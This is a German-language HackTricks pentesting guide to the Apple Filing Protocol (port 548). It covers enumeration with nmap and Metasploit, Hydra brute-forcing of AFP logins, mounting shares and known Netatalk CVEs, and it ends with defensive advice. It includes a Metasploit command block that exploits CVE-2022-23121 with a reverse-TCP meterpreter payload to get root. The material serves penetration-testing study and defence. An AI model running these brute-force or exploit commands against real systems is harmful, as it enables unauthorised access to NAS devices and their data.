548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Das Apple Filing Protocol (AFP), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisiertes Netzwerkprotokoll, das innerhalb des Apple File Service (AFS) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX-ähnlichen und ACL-Berechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus.
Obwohl AFP in modernen macOS-Versionen von SMB abgelöst wurde (SMB ist seit OS X 10.9 der Standard), trifft man es immer noch an in:
- Legacy macOS / Mac OS 9 Umgebungen
- NAS-Geräten (QNAP, Synology, Western Digital, TrueNAS…), die den Open-Source Netatalk Daemon einbetten
- Gemischten OS-Netzwerken, in denen Time-Machine-over-AFP weiterhin aktiviert ist
Standard TCP-Port: 548 (AFP über TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Aufzählung
Schnelles Banner / Serverinfo
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Nützliche AFP NSE-Skripte:
Skript | Was es tut |
---|---|
afp-ls | Listet verfügbare AFP-Volumes und Dateien auf |
afp-brute | Passwort-Brute-Force gegen AFP-Login |
afp-serverinfo | Gibt Servername, Maschinentyp, AFP-Version, unterstützte UAMs usw. aus |
afp-showmount | Listet Freigaben zusammen mit ihren ACLs auf |
afp-path-vuln | Erkennt (und kann ausnutzen) Verzeichnisdurchquerung, CVE-2010-0533 |
Das NSE-Brute-Force-Skript kann mit Hydra/Medusa kombiniert werden, wenn mehr Kontrolle erforderlich ist:
hydra -L users.txt -P passwords.txt afp://<IP>
Interacting with shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (unter Verwendung von afpfs-ng
‑ in den meisten Distributionen verpackt)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Sobald gemountet, denken Sie daran, dass klassische Mac-Ressourcen-Forks als versteckte ._*
AppleDouble-Dateien gespeichert werden – diese enthalten oft interessante Metadaten, die DFIR-Tools übersehen.
Häufige Schwachstellen & Ausnutzung
Netatalk nicht authentifizierte RCE-Kette (2022)
Mehrere NAS-Anbieter lieferten Netatalk ≤3.1.12. Ein Mangel an Grenzkontrollen in parse_entries()
ermöglicht es einem Angreifer, einen bösartigen AppleDouble-Header zu erstellen und remote root vor der Authentifizierung zu erlangen (CVSS 9.8 – CVE-2022-23121). Ein vollständiger Bericht von NCC Group mit PoC, das Western-Digital PR4100 ausnutzt, ist verfügbar.
Metasploit (>= 6.3) liefert das Modul exploit/linux/netatalk/parse_entries
, das die Nutzlast über DSI WRITE
bereitstellt.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Wenn das Ziel eine betroffene QNAP/Synology-Firmware ausführt, führt eine erfolgreiche Ausnutzung zu einer Shell als root.
Netatalk OpenSession Heap Overflow (2018)
Ältere Netatalk-Versionen (3.0.0 - 3.1.11) sind anfällig für einen Out-of-Bounds-Schreibvorgang im DSI OpenSession-Handler, der nicht authentifizierte Codeausführung ermöglicht (CVE-2018-1160). Eine detaillierte Analyse und ein PoC wurden von Tenable Research veröffentlicht.
Weitere bemerkenswerte Probleme
- CVE-2022-22995 – Symlink-Umleitung, die zu beliebigem Dateischreiben / RCE führt, wenn AppleDouble v2 aktiviert ist (3.1.0 - 3.1.17).
- CVE-2010-0533 – Verzeichnisdurchquerung in Apple Mac OS X 10.6 AFP (erkannt durch
afp-path-vuln.nse
). - Mehrere Speicher-Sicherheitsfehler wurden in Netatalk 4.x (2024) behoben – es wird empfohlen, ein Upgrade durchzuführen, anstatt einzelne CVEs zu patchen.
Verteidigungsempfehlungen
- Deaktivieren Sie AFP, es sei denn, es ist unbedingt erforderlich – verwenden Sie stattdessen SMB3 oder NFS.
- Wenn AFP bleiben muss, aktualisieren Sie Netatalk auf ≥ 3.1.18 oder 4.x oder wenden Sie die Firmware des Anbieters an, die die Patches von 2022/2023/2024 zurückportiert.
- Erzwingen Sie starke UAMs (z. B. DHX2), deaktivieren Sie Klartext- und Gastanmeldungen.
- Beschränken Sie TCP 548 auf vertrauenswürdige Subnetze und wickeln Sie AFP in ein VPN, wenn es remote exponiert ist.
- Scannen Sie regelmäßig mit
nmap -p 548 --script afp-*
in CI/CD, um rogue / downgraded Appliances zu erkennen.
Brute-Force
Referenzen
- Netatalk-Sicherheitsberatung CVE-2022-23121 – "Beliebige Codeausführung in parse_entries" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.